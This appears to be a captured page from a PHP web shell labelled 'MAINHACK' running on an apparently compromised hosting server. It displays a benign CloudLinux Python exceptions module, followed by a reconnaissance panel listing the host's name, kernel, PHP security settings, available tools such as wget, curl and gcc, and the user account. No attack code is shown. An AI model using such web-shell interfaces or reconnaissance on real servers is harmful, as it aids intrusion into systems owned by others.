[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: exceptions.py
File is not writable. Editing disabled.
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # """ Module contains various exceptions raised by this api. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from clcommon import FormattedException class ErrorMessage: """ Documented constants that can be received from vendors scripts """ INTERNAL_ERROR = "InternalAPIError" PERMISSION_DENIED = "PermissionDenied" BAD_REQUEST = "BadRequest" NOT_FOUND = "NotFound" class VendorScriptError(FormattedException): """ Any errors related to vendors scripts. """ def __init__(self, message, **context): super(VendorScriptError, self).__init__({ 'message': message, 'context': context }) class UnexpectedResult(VendorScriptError): """ An error that is raised in case of any unexpected results returned by vendors script. """ pass class MalformedError(VendorScriptError): """ An error that is raised in case of malformed output that we cannot parse """ def __init__(self, output): super(MalformedError, self).__init__( 'vendor api returned invalid response that ' 'cannot be parsed with json, output: %(output)s', output=output ) class BadScriptError(VendorScriptError): """ An error that is raised when we cannot run vendor's script for some reason. """ pass class NotImplementedByVendor(VendorScriptError): """ Raised when we try to start script that is not implemented by vendor """ def __init__(self, command): super(NotImplementedByVendor, self).__init__( "Command `%(command)s` is not implemented " "in integration scripts. Please, implement it and try again.", command=command ) class _VendorApiFailed(VendorScriptError): """ Bunch of api errors returned by vendors scripts """ def __init__(self, message): super(_VendorApiFailed, self).__init__(message=message) class InternalError(_VendorApiFailed): """ n case when data is temporarily unavailable due to internal errors in the integration script (database unavailable or something like that) """ pass class PermissionDenied(_VendorApiFailed): """ In case when data is unavailable due to restricted access of a user that called the script """ pass class BadRequest(_VendorApiFailed): """ In case when known to be false arguments are passed to the utility. """ pass class NotFound(_VendorApiFailed): """ In case when during data filtering the target entity doesn't exist in the control panel """ pass class VendorApiMalformedData(VendorScriptError): """ Raised when vendor script returns bad data. """ def __init__(self, error): super(VendorApiMalformedData, self).__init__( "Integration script returned invalid response " "which is not accepted by internal schema check. See error below.\n" "%(error)s", error=error )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.94 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A